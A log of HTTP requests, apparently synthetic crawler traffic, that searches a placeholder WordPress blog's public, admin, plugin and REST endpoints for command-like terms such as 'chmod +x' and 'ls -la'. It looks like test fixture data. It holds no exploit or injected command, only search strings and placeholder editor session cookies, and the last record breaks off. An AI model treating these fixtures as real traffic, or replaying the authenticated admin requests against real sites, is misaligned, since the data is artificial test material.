{"method": "GET", "target": "/?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/index.php?s=chmod+%2Bx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207386"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=chmod+%2Bx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207390"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=chmod+%2Bx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=chmod+%2Bx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207391"], "body": ""}
{"method": "GET", "target": "/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/index.php?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207394"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207397"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=ls+-la&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207398"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=ls+-la&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207399"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=python3&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=python3&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=powershell&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=powershell&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=sudo%20apt%20install%20nginx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=sudo%20apt%20install%20nginx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=chmod%20%2Bx&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=chmod%20%2Bx&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=ls%20-la&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?search=ls%20-la&per_page=20&context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: c799cf7667", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-login.php?loggedout=true&wp_lang=en_US", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=ls+-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/page/2/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209939"], "body": ""}
{"method": "GET", "target": "/index.php/page/2/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/index.php/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209938"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=hello&_wpnonce=c7d3be7361&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist%26attachment-filter%26s%3Dpython3%26action%3D-1%26affected%26_ajax_nonce%3Dac194defea%26ps&action=-1&affected=&_ajax_nonce=ac194defea&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=ac194defea&ps", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209922"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209923"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3Dls%2B-la%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=ls+-la&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209924"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&_wpnonce=845fd30495&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess%26post_status%3Dall%26post_type%3Dpost%26action%3D-1%26m%3D0%26cat%3D0%26paged%3D1%26action2%3D-1&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209925"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?s=hello&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=0&_per_page=20&_page=1&paged=1&_ajax_fetch_list_nonce=0b1db04b0a&_wp_http_referer=%2Fwp-admin%2Fedit-comments.php%3Fs%3Dpython3%26comment_status%3Dall%26pagegen_timestamp%3D2026-11-09%2B07%253A38%253A46%26_total%3D1%26_per_page%3D20%26_page%3D1%26_ajax_fetch_list_nonce%3D0b1db04b0a%26action%3D-1%26comment_type%26paged%3D1%26action2%3D-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php?s=python3&comment_status=all&pagegen_timestamp=2026-11-09+07%3A38%3A46&_total=1&_per_page=20&_page=1&_ajax_fetch_list_nonce=0b1db04b0a&action=-1&comment_type&paged=1&action2=-1", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 